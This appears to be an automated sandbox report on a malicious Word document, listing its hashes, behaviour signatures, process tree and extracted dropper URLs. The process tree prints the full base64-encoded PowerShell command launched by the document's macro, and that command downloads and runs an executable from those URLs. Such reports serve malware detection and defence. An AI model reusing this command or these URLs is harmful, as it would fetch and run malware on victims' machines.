Analysis

  • max time kernel
    119s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    01-02-2022 03:10

General

  • Target

    e69742e157bd0b2dc16aec06611d17972f1b733e8caff3f4234057580ac5edde.doc

  • Size

    248KB

  • MD5

    3be6ed83df84dec0842cab36c8a76ddc

  • SHA1

    3bb3ddb72addde0f5bce63fd23bc40275bb29500

  • SHA256

    e69742e157bd0b2dc16aec06611d17972f1b733e8caff3f4234057580ac5edde

  • SHA512

    3e85029ab32a4bfafe5d0c95022bcfcf23129e3ff01c0013c721f51737fe8c1310748bdcc6f0823ee13ac88d743b6638e046a02019bf8888f7e6d1576b4171e9

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://biederman.net/leslie/lL/

exe.dropper

http://nissanbacgiang.com/wp-content/xR3/

exe.dropper

http://equidaddegenero.iztacala.unam.mx/wp-admin/XPF/

exe.dropper

http://www.zestevents.co/wp-includes/GJAo/

exe.dropper

http://stylishlab.webpixabyte.com/thjowrk5e/9UG/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e69742e157bd0b2dc16aec06611d17972f1b733e8caff3f4234057580ac5edde.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:928
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:580
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -nop -enc JABHAG8AawBHAEMANABBADQAPQAoACcAegBfACcAKwAnAEEAWgAnACsAJwBrAG8ARABBACcAKQA7ACQAUgBfAEEAawAxAF8AQQBBAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGkAVQBvAF8ARABBAD0AKAAnAGgAdAAnACsAJwB0AHAAOgAvAC8AYgBpAGUAZABlAHIAbQBhACcAKwAnAG4ALgBuAGUAdAAvAGwAZQBzAGwAaQBlAC8AbAAnACsAJwBMAC8AJwArACcAQABoAHQAdABwADoALwAnACsAJwAvAG4AaQBzAHMAYQAnACsAJwBuAGIAYQAnACsAJwBjAGcAaQBhACcAKwAnAG4AZwAnACsAJwAuAGMAJwArACcAbwBtAC8AdwBwAC0AYwBvACcAKwAnAG4AdABlAG4AdAAnACsAJwAvAHgAUgAnACsAJwAzAC8AJwArACcAQAAnACsAJwBoAHQAdAAnACsAJwBwADoALwAnACsAJwAvAGUAcQB1AGkAZABhAGQAZABlAGcAZQBuAGUAcgAnACsAJwBvAC4AJwArACcAaQB6AHQAJwArACcAYQBjAGEAbABhAC4AdQAnACsAJwBuAGEAbQAuAG0AeAAvACcAKwAnAHcAcAAtAGEAZABtAGkAbgAvACcAKwAnAFgAUABGAC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AJwArACcAegAnACsAJwBlAHMAdABlAHYAZQBuAHQAJwArACcAcwAuAGMAbwAvAHcAcAAtACcAKwAnAGkAJwArACcAbgBjAGwAdQBkAGUAcwAvAEcAJwArACcASgBBACcAKwAnAG8ALwBAAGgAdAB0AHAAJwArACcAOgAvAC8AJwArACcAcwB0AHkAJwArACcAbABpACcAKwAnAHMAaABsAGEAYgAuAHcAZQBiAHAAaQB4AGEAYgB5AHQAJwArACcAZQAnACsAJwAuAGMAJwArACcAbwBtAC8AdAAnACsAJwBoAGoAbwB3AHIAawA1ACcAKwAnAGUALwA5AFUARwAvACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAHYAWgBBAEEAQgA0AD0AKAAnAFEAQwBBAEIAJwArACcAQgBBAFUAJwApADsAJABKAFUAQQBrAEEAQQAgAD0AIAAoACcANAA4ACcAKwAnADYAJwApADsAJABGAGsAWgBBAEQAWgBVAD0AKAAnAGoAJwArACcANABfAEEAQQBCAEEAJwApADsAJABtAFEAVQBrAHcARwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASgBVAEEAawBBAEEAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJAByAEIAQQBCAEQAbwAgAGkAbgAgACQAaQBVAG8AXwBEAEEAKQB7AHQAcgB5AHsAJABSAF8AQQBrADEAXwBBAEEALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAcgBCAEEAQgBEAG8ALAAgACQAbQBRAFUAawB3AEcAKQA7ACQAQwBYAGsAQQBBADQAQQA9ACgAJwBWADQAQgBBACcAKwAnAEEAawBBACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAG0AUQBVAGsAdwBHACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAbQBRAFUAawB3AEcAOwAkAG4ARABBAEEAdwBvAFgAPQAoACcAcwAnACsAJwBvAEEAeABBAEQAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGMAdwBRAEEAQQBRAHgAPQAoACcARQBCAG8AYwAnACsAJwBBAEEAJwApADsA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1692

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/580-58-0x000007FEFC0E1000-0x000007FEFC0E3000-memory.dmp
      Filesize

      8KB

    • memory/928-54-0x0000000072BD1000-0x0000000072BD4000-memory.dmp
      Filesize

      12KB

    • memory/928-55-0x0000000070651000-0x0000000070653000-memory.dmp
      Filesize

      8KB

    • memory/928-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/928-57-0x0000000075531000-0x0000000075533000-memory.dmp
      Filesize

      8KB

    • memory/928-133-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1692-129-0x0000000002710000-0x0000000002712000-memory.dmp
      Filesize

      8KB

    • memory/1692-130-0x0000000002712000-0x0000000002714000-memory.dmp
      Filesize

      8KB

    • memory/1692-131-0x0000000002714000-0x0000000002717000-memory.dmp
      Filesize

      12KB

    • memory/1692-128-0x000007FEF32A0000-0x000007FEF3DFD000-memory.dmp
      Filesize

      11.4MB

    • memory/1692-132-0x000000000271B000-0x000000000273A000-memory.dmp
      Filesize

      124KB